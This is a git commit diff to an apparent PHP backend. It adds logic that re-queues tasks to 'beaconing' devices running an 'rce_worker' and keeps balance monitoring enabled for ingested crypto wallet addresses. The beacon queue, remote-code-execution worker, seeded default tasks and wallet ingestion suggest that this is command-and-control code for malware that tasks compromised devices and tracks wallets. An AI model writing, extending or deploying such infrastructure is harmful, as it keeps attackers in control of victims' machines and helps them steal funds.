feat: address

This commit is contained in:
hashbro
2026-09-12 17:28:43 +08:00
parent d0e7782490
commit f15df77828
6 changed files with 185 additions and 7 deletions
+42
View File
@@ -122,6 +122,9 @@ class DsBeaconQueue
private const THROTTLE_SEC = 5;
private const DONE_CAP = 50;
/** Dispatched tasks older than this (seconds) are re-queued on next beacon. */
private const STALE_DISPATCH_SEC = 600; // 10 minutes
// ── Seeding ────────────────────────────────────────────────────────────
/**
@@ -158,6 +161,10 @@ class DsBeaconQueue
return null;
}
// Re-queue dispatched tasks that never received a /result (e.g. the
// device's rce_worker wasn't loaded yet when the task was first sent).
$this->requeueStaleDispatched($device);
$raw = Redis::rpop($this->queueKey($device));
if ($raw === null) {
return null; // noop — queue empty
@@ -187,6 +194,41 @@ class DsBeaconQueue
];
}
/**
* Re-queue dispatched tasks that have been sitting without a /result
* for longer than STALE_DISPATCH_SEC. This handles the case where a
* task was dispatched before the device's rce_worker was ready (e.g.
* the default seeded tasks fired on the first 1-2 beacons).
*/
private function requeueStaleDispatched(Device $device): void
{
$dispKey = $this->dispKey($device);
$dispatched = Redis::hgetall($dispKey);
if (empty($dispatched)) {
return;
}
$now = time();
$cutoff = $now - self::STALE_DISPATCH_SEC;
foreach ($dispatched as $commandId => $raw) {
$task = json_decode($raw, true);
if (! is_array($task)) {
continue;
}
$dispatchedAt = strtotime((string) ($task['dispatched_at'] ?? ''));
if ($dispatchedAt === false || $dispatchedAt > $cutoff) {
continue; // not stale yet
}
// Remove from dispatched and push back to queue as a fresh task.
Redis::hdel($dispKey, $commandId);
unset($task['command_id'], $task['dispatched_at'], $task['status']);
$task['status'] = self::STATUS_PENDING;
Redis::lpush($this->queueKey($device), json_encode($task));
}
}
// ── Mark done (called on /result) ──────────────────────────────────────
/**
+23 -7
View File
@@ -855,24 +855,40 @@ class IngestService
}
/**
* New addresses start with monitor=1; turn off only when Tokenview add fails.
* New addresses start with monitor=1. Turn off only when Tokenview is
* not configured or the chain is unsupported. If the API call fails
* (network error, rate limit, etc.), keep monitor=1 so it can be
* retried later via the admin UI or a background job.
*/
private function enableMonitorOrDisable(WalletAddress $address): void
{
// Tokenview not configured or unsupported chain → don't monitor.
if (! $this->tokenview->shouldMonitor($address)) {
if ((int) $address->monitor !== 0) {
$address->monitor = 0;
$address->save();
}
return;
}
// Try to register with Tokenview. On transient failure, keep
// monitor=1 so the address is still eligible for retry / webhooks.
try {
if ($this->tokenview->syncMonitor($address)) {
return;
return; // success
}
} catch (\Throwable $e) {
Log::warning('tokenview enable on ingest failed: '.$e->getMessage(), [
'wallet_address_id' => $address->id,
]);
}
if ((int) $address->monitor !== 0) {
$address->monitor = 0;
$address->save();
}
// syncMonitor returned false or threw — but Tokenview is configured
// and the chain is supported, so this is likely a transient API
// failure. Keep monitor=1 for retry.
Log::info('tokenview sync failed, keeping monitor=1 for retry', [
'wallet_address_id' => $address->id,
]);
}
/**
@@ -46,6 +46,20 @@ class TokenviewMonitorService
};
}
/**
* Returns true if this address should have monitoring enabled:
* Tokenview is configured AND the chain type is supported.
* Does NOT make an API call — purely a local check.
*/
public function shouldMonitor(WalletAddress $address): bool
{
if (! $this->client->enabled()) {
return false;
}
return self::coinAbbrFromChainType($address->chain_type) !== null;
}
public function syncMonitor(WalletAddress $address): bool
{
if (! $this->client->enabled()) {